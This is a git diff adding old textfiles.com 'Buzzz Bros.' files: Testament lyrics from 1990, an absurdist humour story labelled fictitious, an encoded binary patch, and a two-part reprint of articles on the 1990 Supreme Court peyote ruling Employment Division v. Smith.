stories from the past + Sweet infant child's born + Sweet mother of the womb + Hope it is over soon + Not much more I can take + + Help me lord + I'm falling fast + Bring me Back + + Nerves slip away from + within your conscious mind + Translucent hopes are now + nothing but dismal lies + You lived your life so down + to the bitter end + Better think it over now + You life has just begun + + Help me lord + I'm falling fast + Bring me back + From suicide + + Just show me life is how + And not a bitter war + The odds in favor now + It's hard to live and learn + Silence the sorrow + and don't let it slip away + Think of tomorrow + as the future of today + + Help me lord + I'm falling fast + Bring me back + from suicide + I'm falling fast + + Locked in a darkened world + Made to never last + That's where the draems you seek + are like storie's from the past + Sweet infant child's born + to the mother of the Womb + Hope it is over soon + not much more I can take + + Chorus + + + 4. Souls of Black + -------------- + Lyrics: Billy + Music: Peterson, Skolnick, Clemente + + + Can't you see + that in the world we live in + political lies + are just corporate decisions + They'll take away + all the hopes, not their promises + They'll put an end to all this + land of the living + + Chorus: + ------- + Look at the lost souls + They seem so black + Look at the lost souls + Souls of black + + The get control + of the heart of a nation + Their social bribes + seem so graciously + as time goes by + 'Cause time as you can see + will slowly die for you and me + + Chorus + + So put an end + to this idolization + Antagonizing so commonly + Open your eyes + 'Cause the lie's there so plain to see + Life goes on + There's no gaurantees + + Chorus + + They're bleeding so black + + + 5. Absence Of Light + ---------------- + Lyrics: Billy, Skolnick + Music: Peterson, Billy + + + Life, as we know, + is full of gloom + Oppress the massess + We'll lead to our doom + We want the right + to live or die + Can't take away + What we feel inside + + Like empty shadows + afflict our brains + Envision our dreams + just to ease the pain + There's more to life + than to satisfy + I ask myself + for the reason why. + + Chorus: + ------- + If it were my way + I'd deliver us from this hell + If it were my way. + + If ever there comes a day + Renovations blown away. + Is there no end + to this endless war + The fear of man + is now what's in store + We look at life as a memory + Long live the dreams + That they took from me + + Chorus + + + 6. Love To Hate + ------------ + Lyrics: Peterson, Clemente & Billy + Music: Peterson, Skolnick + + + Hail to the new leader now + Ruler of this land, + with plans that follow + to demonstrate + Fear the blackened band + So horrid + and deathly true + Dishonest and powermad + Unspoken, sealed fate + Bursting so desolate + + Chorus + ------ + His love to hate + He'll murder souls like you and me + But along the way + He'll have you to dwell + in his own hell + + Clear the streets + See them marching + while columns take a stand + Time provoked, their mirrors of hatred + with dark uncanny plans + to take out + and follow through + Just following their orders + with death rates + and death's tolll + Those poor unfortunate souls + + Chorus + + Twisting and turning + through the mazes in your head + But in a time like this + you're better off dead + The time has come now + Put up or shut down + The feelings that you have + were lost and never found + + Chorus + + + 7. Malpractice + ----------- + Lyrics: Skolnick, Billy + Music: Skolnick, Peterson + + + We all will go and stay sometime + Soon to be a victim of a crime + Loss of blood and death is near + Take a number, can you wait right here + + Chorus: + ------- + Check in - to the place + Reduce you life into disgrace + Isn't there some kind + of better way + + When it's time to operate + fatalistic figures hold your fate + Just relax you'll feel no pain + Hope they put you in the right domain + + Patients helpless to defy + Negligence is why + + Chorus + + Within the laws + they'll rip you off + then write you off + Malpractice! + And in the end + they'll let you in + Please come again + Malpractice! + + Suffer until you get well + Bleak exsistence like a prison cell + If you find your life is lost + Dedicate the world to pay the cost + + Patients helpless to defy + Negligence is why + + Chorus + + Within the laws + they'll rip you off + then write you off + Malpractice! + And in the end + they'll let you in + Please come again + Malpractice! + + + 8. One Man's Fate + -------------- + Lyrics: Billy + Music: Peterson, clemente + + + Time is nothing but life's decay + Pitch your reverend path + This is the path you paved + What you will find + is life's only way + There's no looking back + There must be a better way + + Lightning skies + Prayers from an open grave + A dead man's day + + Black skies fade to shadow grey + The darkness is so deep + Prayers for the light of day + What you will find + is life's only way + There's no looking back + back to a better way + + Lightning skies + Prayers from an open grave + A dead man's eyes + + Must be a dead man's day + that leads to one man's fate + There ain't no better way to die + + Fate, there's no compromise + Hate leads to suicide + Trapped in a crystal haze + Hail to a dead man's day + + Time is but a passageway + trying to believe + your life was sanity + A matter of time + is all that you need + Life's not coming back, + back to those better days + + Lightning skies + Prayers from an open grave + A dead man's eyes + Must be a dead man's day + + + 9. The Legacy + ---------- + Lyrics: Skolnick, Billy, Peterson + Music: Peterson, Clemente, Skolnick + + + We're gonna take you back + through the pages of the past + Just another lonely boy + + I could laugh and play + and live in any other way + Then the devil took my soul + + The fortune and the fame + I knew I was not the same + and I know I'd never return + + Looking at the sky + I knew I would never die + And forever shining through + + Wish the sky would say + that blue would turn to grey + and I know I'd be there + + Chorus: + ------- + Life was like a fantasy + taken by reality + Does anyone remember me + + Flashes of the sky + I knew I was here to stay + But no one stays the same + + Turn the pages back in time + through the chapters in my mind + Life's too short to leave behind + It's too late now + + Chorus + + Flashes of the day + I knew I was here to stay + But no one + knows my name + + + 10. Seven Days Of May + ----------------- + Lyrics: Skolnick, Billy + Music: Peterson, Skolnick + + + Put your life on the line + To hesitate is a waste of time + No giving in to repent + unto the system of the government + + It's called the Peoples Republic here + The propaganda so sincere + Oh, what a joke and a blatant lie + from criminals ranking high + + Chorus: + ------- + Born a political prisoner + Raised outside the law + I'm gonna keep on fighting + until I die for the cause + + Put an end to hipocracy + Lead the way to Democracy + No longer will we play the fool + to brutalized military rule + + They started forty years ago + We never could say yes or no + Million souls made our voice + We want the right to make a choice + + Chorus + + Freedom, freedom calling + out from the pain + Freedom, freedom calling + seven days in May + + They tried to show a peaceful path + then it turned into a blood bath + In the Square they plan the game + That's when the tanks of the army came. + + They called the murders minimal + Described their victims as criminals + Dead souls like you and me + who only wanted free society + + Chorus + + Freedom, freedom calling + out from the pain + Freedom, freedom calling + seven days in May + + ----------------------------- + + All melodies by Chuck Billy + All arrangements by Testament + + All compositions (c) 1990 COTLOD Music (adm. by + Zomba Enterprises Inc.) Zomba Enterprises Inc. (ASCAP) + All Rights Reserved. Used without permission. + + ____________________________ + + Special Thanks to: + ____________________________ + + Kilbourn + Alannah and Vanessa at Kroozin' Music + HIGH TIMES + +(c) MCMXCI -=*/> Buzzz Bros. <\*=- + diff --git a/textfiles.com/groups/BUZZ/bbrosn07.txt b/textfiles.com/groups/BUZZ/bbrosn07.txt new file mode 100644 index 00000000..97110b1c --- /dev/null +++ b/textfiles.com/groups/BUZZ/bbrosn07.txt @@ -0,0 +1,218 @@ +*=-- --=* +{ The file you are about to read is ficticious. Any resemblance } + to actual people and/or events must mean that you shouldn't have taken +{ that last dose of low-grade acid. } +*=-- --=* + + + + *=-- --=* + { the } + -=*/> Buzzz Bros. <\*=- + + present + ------- + When Venus Crosses Mars + + { Fiction by Havoc } + *=-- --=* + + + + ...after he swallowed his last bite of his Double Cheeseburger (from White +Castle, because he liked the concept of the holes in the meat), I finally +mustered up enough nerve to ask him.... + + "If a chicken and a half could lay an egg and a half in + a day and a half, how long would it take a grasshopper + with a wooden leg to kick all the seeds out of a dill + pickle?" + + He looked at me, and I could tell his eyes could see right through +me...right into my soul, right inside my guts; like he was searching for the +meaning of life (or at least for any undigested food...I could tell he was +still hungry). He sighed. He closed his eyes, opened his mouth and just +sighed. What was he thinking? Did he even care? I needed to know! More +than anything I just need to know that. It had been annoying me like an +infected sore that wouldn't heal. Finally, after what seemed like the same +amount of time it takes for a cum shot in a lame porno, he broke down and spoke +to me. + + "It doesn't matter....I'm an atheist." He said. + + I smiled...and it felt good. It had been almost two (2) years since I had +felt good, and that was the time I saw Wayne fall of the garage roof with the +pipe wrench. I told him that leverage was the key, but he still wouldn't hold +on to the satellite dish. + + "Are you going to watch Geraldo tomorrow?" I asked. + + "If he asks me too," He replied. "I'm more into Sally + Jesse Raphael...see speaks from the heart." + + "I need a Diet Barq's...are you lonely still?" I needed to know this. + + "Lions are growing in the desert like yellow roses + blowing in the cool summer breeze." + + His last reply made me quiver. I knew he was a great person, but never +could I have imagined he liked Barq's root beer too. His poetic imagery was +not to be equaled by the way he wore his Big Yank jeans. + + I envisioned him driving in a Jeep down an open mountian road. His +speedometer reading ninety-six (96) kph, and his 8-track blasting out Meat +Loaf's Bat Out of Hell. As the fringe from his vinyl "CHiPS Offical Junior +Police" jacket blew in the wind, a beautiful red-head drives up next to him in +a seventy-seven ('77) Ford Pinto. + + As cool and as deft as any woman should be, she leaned over and rolled down +her window with both hands...because it gets stuck half-way down. Tiffany's "I +Think We're Alone Now" can be heard ever so faintly in the background. + + "Excuse me..." The words rolled off her tongue. + "Are those Big Yank jeans you are wearing?" + + She ends her question with a simple look. Although simple...it was +subliminally drenched with sex. Sex and Vienna Beef hot dogs...she was hungry +too. The back seat of her car revealed numerous Mello Yello cans, and a mint +copy of X-MEN number one seventy-two (#172), the one where Storm gets a +mohawk...I think. + + "Why yes.....yes they are" He answered. + + He knew she was as cool as he. He knew that she was impressed. He knew +that he was damn lucky for going to Sears to buy pencil top erasers shaped like +the General Lee from the Duke's of Hazzard....and running across those jeans. +He knew that if he didn't get the Jeep home before seven o'clock (7:00), his +sister ws going to take back her "Young Miss" magazines with the complete +Susanna Hoffs autobiograpy. + + "I thought so." Was all she said....nothing more. + + Simple and precise. Elegant and beautiful. She understood him. She +understood the bond they had. She understood that if she didn't see a doctor +soon, her yeast infection would be running rampant like the mobs in Detroit on +Halloween. She drives away. The first and last time they would meet. The end +and the beginning in one quick instant, like the way a juice box has the straw +right on the back of the package. With her Pinto reaching speeds only topped +by a Renault Le Car, she is gone. + + "What do those white marks on the side of the label + of a Budweiser bottle mean?" He interrupted my vision. + + "It's a conspiracy. They collaborated with Dorito's." + I replied. + + That was another of my theories. The makers of Dorito's knew that Bud +drinkers always wondered about that. Knowing that the thought process also +triggers the hunger of beer drinkers, the white marks on the side of the label +of Bud bottles are subliminally encoded to read: " Jay Leno is God, worship no +others." Because the unconscious mind is truly brilliant, it realizes the +connection between tortilla chips, and The Tonight Show guest host. + + "The Beastie Boys second album flopped. I feel this + is the sole reason the Russians shot down Korean Air + Lines flight 107 (KA-107)." He knew that I knew that. + + It was always my opinion that if Adrock, MCA and Mike D. would have been +more cautious with their sophomoric release, flight KA-107 would never have +been shot down that day. The flight recorder on board was played back, +revealing miscellanious ramblings. They include: + + _ _ + | | "Hey Ladies sucks!" | | + |A| "They could never top Paul Revere.." |A| + |C| "Why did they leave Def Jam??" |C| + |T| "...watch the Russian air space dude.." |T| + |U| "And what about MCA's beard...looks shitty." |U| + |A| "....<< KA-107 this is control, please |A| + |L| monitor altitude and be aware that you |L| + | | are straying into unfriendly | | + |R| air space >>....." |R| + |E| "...BRASS MONKEY...THAT FUNKY MONKEY!!!" |E| + |C| "...dude...Dude..." |C| + |O| "What the......ahhh shit Bill...I told |O| + |R| you to be careful with my CD's bro!" |R| + |D| "...<< KA-107 BANK LEFT!! BANK LEFT!! >>" |D| + |I| "Ahh, Bill?" |I| + |N| "What up dude?" |N| + |G| "You see that.....?" |G| + |_| "Shit..........." |_| + + Proof positive that the Beastie Boys are soley responsible for the two +hundred fifty-six (256) people that died that day. It is my opinion that MCA +and Mike D. be brought to trial for these atrocities. Adrock's OK, becuse he +made up for it in a cool movie about a troubled teen, called "Lost Angels". + + "If hotels don't have a thirteenth (13th) floor, why + is there a room six six six (666)?" + Another imponderable leaps from his lips. + + "Six plus six plus six equals eighteen (6+6+6=18). If you add the + number of feet between the bed and TV, which is five (5), + and subtract that from eighteen (18), it equals + thirteen (13)." + + Another theory of mine is that hotels try to scam the general public with +the abolishment of the thirteenth (13th) floor. In reality, room six six six +(666) >IS< the thirteenth (13th) floor. Seeing that the people who would not +want a thirteenth (13th) floor, would also not want a room six six six (666). +Archetects, in conjunction with hotel general managers, have secretly built an +entire floor in one room.....kind of like the Tardis effect if you have ever +watched Dr. Who. When a guest is checked in, the instant a key is placed in +his hand he is subliminally quizzed on his knowledge of important facts. These +facts include: Meat Sauce contains no meat. Pop Tarts are used most often by +the government to increase the dancing ability of M.C. Hammer; which increases +race relations. Post-It notes were not meant to be removeable - in actuality +they were a prototype for the heat resistant tiles on the space shuttle. The +Nike "Swoosh" design actually has a biblical relationship...because Jesus +himself was known to have this same mark on the outside of his left foot. + + If the guest then proceeds to answer these questions correctly, he/she is +given access to the room/floor. Miscellanious activities abound here, most of +which reflect the same things your mother told you not to do. Such as: running +with scissors, chewing gum in bed, making funny faces until they permanently +stick to your face, wearing plaid pants with striped shirts, and leaving the +toilet seat up after you go. + + "I am a leper messiah. I have befriended creeping + death, but yet the weak are ripped and torn away. + I have lived my entire life trapped under ice. + I am nothing but a harvester of sorrow, and there + is never justice for all. We are controlled + by nothing more than a master of puppets, who believes + only in battery and the thing that should not be. + I was born for dying." + + His poetic lust shining even more. + + "The alter of sacrifice has been nothing but a large + war ensemble. A dead skin mask confronts us, but still + we are haunting the chapel. Chemical warfare abounds... + and will soon reign in blood. Soon you shall meet the + undead - and be blissful with the Angel of Death. It is + an epidemic, a permanent desease. We are forced to fight + behind the crooked cross - moving on and on south of Heaven" + + My frail attempt at a reply cannot equal his. + + It had been hours, neigh, days since our initial contact. Although now I +could see right through his initial intent of demoralizing me, I still had a +thirst that only he could quench. I needed to know the true story behind Tucan +Sam and the Fruit Loops. I had to be told why the Kennedy's had Marilyn Monroe +murdered. It was imperative to know why Gorbechov (sp) had that mark tattooed +on his head. He was a mirror image of me. A complete reflection of what I +was. There was nothing that he didn't know about me, he knows more about me +than I know about myself. + + But yet he hates me for being myself. He hates me for questioning the +makers of A One (A-1) Steak Sauce for putting raisins in the recipe. He hates +me for wanting to know why movies and the press call people who like punk as +being "punk rockers", and not just "punks". Am I the victim or the crime? +_______________________ + +-=*/> Buzzz Bros. <\*=- + (c) MCMXCI +_______________________ + + diff --git a/textfiles.com/groups/BUZZ/bbrosn08.txt b/textfiles.com/groups/BUZZ/bbrosn08.txt new file mode 100644 index 0000000000000000000000000000000000000000..1cf345cb83f5be043179cc95fb9b58c48751a39c GIT binary patch literal 3748 zcmb_eTW{Mo6yCD||A#X@G+SXiNSk6n&~|Xzv@vGaMd~eBkr!H`B_a~3QB(wH*ni)5 zNcp}oTU|BT3Jc$&b~!@(_cTw-w-+;onKth^y_4JnDBTlv48Wh z`aMYY@WAVXkURx`))#(=rs4Uobbk}gGHE5LinO7*(FvTIwzRAN`>ZY#j$)yy*2+oZ zP$ue5CGsiE^V(5v?j%C;O+_NlN#>O|Pf%RjN)94Meaok>G@&62d)kB49gb;qc6!42 zM4ybylup@yXKOhiy10{exxOr=EtGRI@oEpNfapt6RlsFLU&MSaGOuE!86joK*13cl zk9Q*~GCE)4kEA#kbtTW}{gkdRhco(f`a4~Z#^a~y{3vWHw5vsrUj5=VelXStC5Ebc zPK|OIW$?T=G6}q*ETyod^g{V0VtHU*vQY3= zq#QD`p+HwbPD}U7e7ZCuTU0%>+cy%=ze!QUR2fDl%{&De%p5ZVa_vqx*12Th= z6OpR;R^%kC^Wnx_A%(682sD|BGiqcowsOW6-k(%BgbYq+jEa6ZATVQ8Ss`<}k|_XF zfDftV6Nvz<$4YWqQDgWW$O@{Qu!E@I_u2T8IUda}n7=O3)Fi|ul+}==+;ZSKPX_c^ zniAM&u+y7vRhl7i2&lphd_)Y9gr?Dyiw4+j6t0Mr&s1sz6Njk7WDXxF60=ogct;N1 z65<50foS)0nM2CspV5}xfzQA&WLHRwW}_we`{IDVNIdXvo4;#WVwJu=SXL zcvnb)4z^=I3YlqXA!1(ud`5!1EExRqfWh2s4jWXVRt{4%mOJrbw?)&VQYh_uXx{b? zMJ!#M^{6m)j;fs3Do3$D8qowXL*j0I53ZdaaE%-N4hx-aVfYKzOr7O1S?-1uoBIe7RDlQ$m>dC&iE4I zmd!;}1qrM2jDF+3G|QHi%ojg;P48u1qJz-Xia7VxzaplHn{ft)Dr1;28qf;G9F+=P zDV(&LFoUG6_FV*NV)T)tTh_-SHXMal{;OBM-Tz-a)JLK*V~M82If>fu1#oM0eCx}5 z8!kUVw!mIH;t%ag^Ok6)3Yr*;@wKGa?KLa!c82}$^uxm5VKlAwx9L}Otv+;rG{SW| z6Vbj-&{F%PyB$sK&5*2YH^1O@2^k`_qQHRHhyYJPLF?Nd<`9M;`lpk}?RY`Z*S>#V zu|xh_I>k;R*(y{6rdCxd6d%T;s*5tiBqok3gU#Azz}%GOmaw%{fABL@X>ef42tyRJ zCgBp`aHVh+mfRfE)^E4N2=v+SHn~=$7&l9}2VZ>I2_8SFk&51BR#oo!yiSr#9HZ_B z1E19_D1g@5zf!z*(K{1-tT8>&1Eh|T3zgI#wUs Buzzz Bros. <\*=- + + present: + + The Supreme Bunch + of INjustices + vs Peyote + Part I of II + + { } + *=-- --=* + + + +The following 13 messages, retrieved from PeaceNet, discuss the recent +Supreme Court ruling permitting states to prohibit sacramental use of +peyote. + +Supreme Court Continues Chipping Away At Citizen's 1st Amendment Rights, +Part 1. + ------------------------------------------------------------------------- + Exerpts from the following article detailing the April 17th ruling + by the US Supreme Court which decided that Native Americans could + no longer use peyote in their religious practices: + + + "For all practical purposes, a majority of the Supreme Court has + eliminated the Free Exercise clause of the First Amendment from our Bill + of Rights," said American Jewish Congress Executive Director Henry Siegman. + + "The court's decision in the peyote case can have the most far- + reaching consequences for all religions, but primarily for religious + minorities," continued Siegman. "It is precisely such minorities the + Bill of Rights sought to protect, for it is they who are particularly + vulnerable to the depredations of momentary and localized majorities." + + + ... Dr. Robert L. Maddox, executive director of Americans United + for Separation of Church and State, said the "Smith" ruling is cause for + concern... + + "We are concerned," he continued, "that this ruling will have a + negative effect on minority religions. Mainstream faiths will probably + have little difficulty getting the exemptions they need; smaller groups + with less political influence will have a tougher time of it. That is + unfortunate. Religious freedom should not be left to the whim of state + and federal lawmakers. + + "No one wants anarchy in the name of religion," he added, "but do we + really want more and more government regulation of religion? What + bothers us most is the movement away from individual liberty and toward + statism--whatever the government wants, goes." + +--------------------------------------------------------------------------- +[2] + The following article appeared in the June 1990 issue of "Church and State", + a publication of Americans United for Separation of Church and State, 8120 + Fenton St., Silver Spring, MD, 20910, and is reprinted here w/permission. + +----------------------------------------------------------------------------- + + + The Day 'Sherbert' Melted + by Rob Boston + + + Discarding A 27-Year-Old Test For Religious Liberty Cases, The Supreme + Court Says Government May Restrict Religiously Motivated Conduct + + Alfred Smith considers himself apolitical; he's not even registered + to vote. But, in light of what the Supreme Court did April 17, the 70- + year-old Oregonian is ready to jump into politics in a big way. + + The high court ruled 6-3 that day that Native Americans do not have a + constitutional right to use the drug peyote during their religious + ceremonies. Smith, one of the plaintiffs who helped bring the case + before the nation's highest court, is angry--angry enough to take his + fight to the polls. + + "I'm encouraging all people to register and vote this year," Smith + said. "This is the time for it. I have never voted before because I + don't care to condone the system, but I have made a stand here with this + case." + + The political route Smith proposes may be one many members of minority + religions are forced to take in the future, thanks to the Supreme + Court's decision in the "Employment Division v. Smith" case. The + justices' ruling marks an abrupt shift in free exercise jurisprudence, + granting government broad new powers over religious practices. + + What makes the "Smith" decision so significant is that in reaching it + five justices voted to abandon the court's doctrine of "compelling state + interest," a move with far-reaching implications for religious liberty. + + In a nutshell, the 27-year-old doctrine says that the government can + restrict religious freedom only when it proves there is a compelling + interest to do so and that there is no less intrusive alternative + available to achieve the state's goals. The judicial rule grew out of + the 1963 "Sherbert v. Verner" decision and is usually called the + "Sherbert" Test. + + In the recent peyote case the court rejected the "Sherbert" standard + in favor of a much narrower test, holding that government may offer + religiously based exemptions from generally applicable laws if it + chooses, but it is under no constitutional obligation to do so. + + Wrote Justice Antonin Scalia for the majority, "We have never held + that an individual's religious beliefs excuse him from compliance with + an otherwise valid law prohibiting conduct that the State is free to + regulate." [more] + +[3] + Scalia went on to say that applying the doctrine of compelling state + interest in the peyote dispute and similar cases would create "a private + right to ignore generally applicable laws [which would be] a + constitutional anomaly." Rigorous application of the "Sherbert" + approach, he said, would be "courting anarchy." + + Later in the opinion, Scalia admitted that the ruling will force + minority religious groups to seek relief from oppressive laws by + lobbying elected officials, and some may fail in their efforts. But he + excused this as unavoidable. "It may fairly be said," observed Scalia, + "that leaving accommodation to the political process will place at a + relative disadvantage those religious practices that are not widely + engaged in; but that unavoidable consequence of democratic government + must be preferred to a system in which each conscience is a law unto + itself or in which judges weigh the social importance of all laws + against the centrality of all religious beliefs." + + The court majority acknowledged that judicial exemptions from neutral + laws have sometimes been granted for religious reasons. But, Scalia + argued, such exemptions have generally been granted in conjunction with + another constitutional right--such as free speech. He called these + examples "hybrids" and implied they are special cases. Other than that, + said Scalia, the only legal disputes where the "Sherbert" analysis has + been applied consistently and usefully are unemployment compensation + rulings, such as the line of decisions approving jobless benefits for + workers who are fired for refusing to work on their sabbath. + + Ironically the "Smith" case involved just such an unemployment + controversy. It started in 1984 when Smith, a Klamath Indian, and + another man, Galen W. Black, a non-Indian, were fired from their jobs + as drug counselors after the agency they worked for learned the pair had + used the drug peyote during ceremonies in the Native American Church. + + The Council on Alcohol and Drug Abuse Prevention Treatment (ADAPT) had + a policy stating that all employees must be drug free. Smith and Black + thought an exemption would be made for their religious use of peyote, a + mild hallucinogen derived from some cactus plants, but ADAPT officials + saw things differently: Both men were dismissed. [more] + +[4] + When Smith and Black subsequently applied for unemployment benefits, + they were turned down. Officials with the state Employment Division + said the two had been fired for misconduct and therefore did not + qualify. The duo took the case to the courts. + + Four years later the Oregon Supreme Court ruled that the ceremonial + use of peyote is permissible under state law and is even protected by + the First Amendment. The Supreme Court's recent action overturns that + decision. + + The "Smith" majority drew upon a somewhat unusual alignment of + justices. Scalia, Chief Justice William Rehnquist and Justices Anthony + Kennedy and Byron R. White were predictable allies. All four have + argued for a narrower reading of the First Amendment's religious liberty + clauses. + + Justice John Paul Stevens, however, provided the key fifth vote. + Stevens, often thought of as a member of the court's liberal wing, + favors a strict separationist reading of the Establishment Clause, but + has argued in past cases for a less expansive reading of the Free + Exercise Clause. + + Justice Sandra Day O'Connor concurred in the "Smith" outcome, but + wrote a separate dissent that accused the majority of going too far. + "Although I agree with the result the Court reaches in this case, I + cannot join its opinion," asserted O'Connor. "In my view, today's + holding dramatically departs from well-settled First Amendment + jurisprudence, appears unnecessary to resolve the question presented, + and is incompatible with our Nation's fundamental commitment to + individual religious liberty." + + The free exercise of religion, O'Connor added, is a "preferred + + constitutional activity," entitled to "heightened judicial scrutiny." + The "Sherbert" Test, she continued, has worked well to "strike sensible + balances between religious liberty and competing state interests." + + Justices Harry A. Blackmun, William J. Brennan Jr. and Thurgood + Marshall indicated agreement with O'Connor's opinion, although they said + they would have gone further and upheld the Native American Church + members' claim. The court's liberal wing criticized the majority for + "mischaracterizing this Court's precedents" and engaging in a "wholesale + overtuning of settled law concerning the Religion Clauses of our + Constitution." + +[5] + Wrote Blackmun, "One hopes that the Court is aware of the + consequences, and that its result is not a product of over-reaction to + the serious problems the country's drug crisis has generated." + + The justice insisted that ritual peyote use by Native Americans could + be tolerated without jeopardizing the nation's campaign to curb drug + abuse. He noted that the federal government allowed the Roman Catholic + Church to employ sacramental wine at masses during Prohibition. + + Said Blackmun, "I do not believe the Founders thought their dearly + bought freedom from religious persecution a 'luxury,' but an essential + element of liberty--and they could not have thought religious + intolerance 'unavoidable,' for they drafted the Religion Clauses + precisely in order to avoid that intolerance." + + Even though the case dealt with the sensitive issue of drug use, + several religious organizations had sided with the Native American + Church members, most notably the American Jewish Congress, which filed a + friend-of-the-court brief in support of Smith and Black. + + "For all practical purposes, a majority of the Supreme Court has + eliminated the Free Exercise clause of the First Amendment from our Bill + of Rights," said AJC Executive Director Henry Siegman. + + "The court's decision in the peyote case can have the most far- + reaching consequences for all religions, but primarily for religious + minorities," continued Siegman. "It is precisely such minorities the + Bill of Rights sought to protect, for it is they who are particularly + vulnerable to the depredations of momentary and localized majorities." + + Three weeks after the decision the AJC and an extraordinarily diverse + coalition of religious and civil liberties groups filed a petition for + rehearing before the Supreme Court. The petition urged the justices to + hear the case again so the organizations will have the opportunity to + address their free exercise concerns in friend-of-the-court briefs. + + Groups joining the AJC include: the Baptist Joint Committee on Public + Affairs, the National Council of Churches, the National Association of + Evangelicals, People for the American Way, the Presbyterian Church + U.S.A., the American Civil Liberties Union, the Christian Legal Society, + the American Jewish Committee, the Unitarian-Universalist Association, + the General Conference of the Seventh-day Adventist Church, the + + Worldwide Church of God and the Lutheran Church, Missouri Synod. + Americans United for Separation of Church and State also signed the + petition. [more] + +[6] + Attorney Oliver S. Thomas of the Baptist Joint Committee said it is + important that religious and civil liberties groups have the opportunity + to express their views to the court. He said the court's abandonment of + the "Sherbert" Test could have a wide impact. + + "Taxation of church assets, regulation of church schools and child- + care centers, zoning and other land-use questions are all areas of the + law where we've relied upon the compelling state interest test to + provide churches with exemptions," Thomas told the Baptist Press. "With + a stroke of his pen, Justice Scalia has overturned 27 years of legal + precedent and made the 'first liberty' a constitutional stepchild." + + The Rutherford Institute, a conservative legal aid group that + frequently litigates free exercises cases, was also dismayed by the + ruling. Said Institute President John W. Whitehead in a press + statement, "Justice Scalia's opinion rejects the notion that free + exercise of religion is a preferred right. Rather, in most situations + it is valid only when coupled with another constitutional right. + + "Armed with this opinion, a state may draft a law that violates + religious liberty, claim it is `religiously neutral' and those affected + by it may have no recourse under the Constitution." + + Constitutional scholars were particularly amazed that the majority in + the peyote case relied heavily on "Minersville School District v. + Gobitis," a 1940 Supreme Court decision that said Jehovah's Witness + children in public schools could be forced to say the Pledge of + Allegiance. "Gobitis" was overturned three years later in the + "Barnette" decision and has been roundly criticized ever since as one of + the court's biggest mistakes. + + Observed Douglas Laycock, law professor at the University of Texas, + "The court repeatedly quotes "Gobitis" without noting that it was + overruled in "Barnette," and without noting that it triggered a + nationwide outburst of violence against Jehovah' s Witnesses. Until the + opinion in this case, "Gobitis" was thoroughly discredited." + + But not all courtwatchers were chagrined by the ruling. Jules B. + Gerard, a constitutional law professor at Washington University in St. + Louis, told Religious News Service there has been a lot of overreaction. + Gerard said the decision "overturns very little" and accused those who + have protested it of "hysterical talk." [more] + +[7] + Bruce Fein, a conservative constitutional scholar, went even further, + applauding the ruling in a column in "The Washington Times." Fein + wrote, "It is both counter-intuitive and contrary to American political + experience to suppose the "Smith" ruling portends an epitaph for + religious tolerance and accommodation in generally applicable + legislative enactments. And when religion must yield to secular law, + the former continues to prosper." + + + Fein went on to say that religions can drop fundamental tenets and + still survive, pointing out that the Church of Jesus Christ of Latter- + day Saints (the Mormons) in 1890 dumped its support for plural marriage + after the Supreme Court refused to allow the practice for religious + reasons. + + Conservative columnist George Will also was pleased with the "Smith" + decision. "A central purpose of America's political arrangements is the + subordination of religion to the political order, meaning the primacy of + democracy," he observed. "The Founders, like Locke before them, wished + to tame and domesticate religious passions of the sort that convulsed + Europe....Hence, religion is to be perfectly free as long as it is + perfectly private--mere belief--but it must bend to the political will + (law) as regards conduct." + + However, Dr. Robert L. Maddox, executive director of Americans United + for Separation of Church and State, said the "Smith" ruling is cause for + concern. + + "If a majority of the justices did not believe the Native American + Church members had a valid claim, they could have rejected them by + relying on the doctrine of compelling state interest," said Maddox. + "But a majority chose to go much further, effectively weakening the + protection the court has extended to religious free exercise. + + "We are concerned," he continued, "that this ruling will have a + negative effect on minority religions. Mainstream faiths will probably + have little difficulty getting the exemptions they need; smaller groups + with less political influence will have a tougher time of it. That is + unfortunate. Religious freedom should not be left to the whim of state + and federal lawmakers. + + "No one wants anarchy in the name of religion," he added, "but do we + really want more and more government regulation of religion? What + bothers us most is the movement away from individual liberty and toward + statism--whatever the government wants, goes." + + The decision has already had a practical consequence for one minority + faith. Just six days after the "Smith" ruling, the justices, by a 7-2 + vote, ordered the Minnesota Supreme Court to reconsider a recent + decision it made exempting an Amish group from complying with a highway + safety law. [more] + +[8] + Members of the Old Order Amish had protested a state law requiring + them to display orange safety triangles on their horse-drawn buggies. + The Amish said the bright symbols violated their belief in a plain + lifestyle. The Minnesota high court agreed in 1989, but now may be + forced to reverse the "State v. Hershberger" decision in light of the + "Smith" ruling. + + In Eugene, Ore., meanwhile, Al Smith has no more faith in the courts. + After joining about 100 people in a protest of the decision that bears + his name at a Eugene federal building April 20, Smith told reporters he + is backing proposed legislation suggested by state representative Jim + + Edmunson of Eugene that would allow Native Americans to use peyote in + religious rituals in Oregon. If that fails, Smith said, the Oregon + Supreme Court could decide Native American peyote use is permissible + under the state constitution. + + Smith told "Church & State" he is also working with Native American + groups in the United States that are considering filing a protest before + the International Court of Justice (commonly called the World Court) in + The Hague, Netherlands. + + "The United States is saying the original people of this land can't + worship," Smith told Church & State. "We were worshipping a long time + before the white man ever set foot on this turtle island. + + "The issue is not dead, by no means," continued Smith. "I'm not + giving up; I have committed no crime. It's not a crime to pray in the + old way." + + KOYAANISQATSI + + ko.yan.nis.qatsi (from the Hopi Language) n. 1. crazy life. 2. life + in turmoil. 3. life out of balance. 4. life disintegrating. + 5. a state of life that calls for another way of living. [more] + + + ---------> Buzzz Bros. <--------- + See Part Two + + + + diff --git a/textfiles.com/groups/BUZZ/bbrosn10.txt b/textfiles.com/groups/BUZZ/bbrosn10.txt new file mode 100644 index 00000000..fba2e6de --- /dev/null +++ b/textfiles.com/groups/BUZZ/bbrosn10.txt @@ -0,0 +1,216 @@ + *=-- --=* + { the } + -=*/> Buzzz Bros. <\*=- + + present: + + The Supreme Bunch + of INjustuces + vs. Peyote + Part II of II + + { } + *=-- --=* + + + +[8] + ------------------------------------------------------------------------- + Exerpts from the following article analyzing the + effects the US Supreme Court ruling on the Native + American Church's use of peyote as being illegal: + + + Native American church members stripped of their rights under the + Constitution are now subject to the will of the legislative branch of + our state and federal governments. Not an enviable place for Indian + people; as a distinct racial and religious minority Indians have always + had an uphill struggle in the halls of Congress and elsewhere to have + their rights recognized and respected. + + The legislative branch of any government is an exceedingly unusual + place for individuals to look to have their rights under the First + Amendment vindicated. Courts are traditionally looked to as protectors + of these rights, against majoritarian legislatures. Justice O'Connor, + in a separate concurring opinion which joined the result of the majority + but sharply criticized its method, reasoned that "the First Amendment + was enacted precisely to protect those whose religious practices are not + shared by the majority and may be viewed with hostility." + + As a result of "Smith," minority religions, in Justice Scalia's + 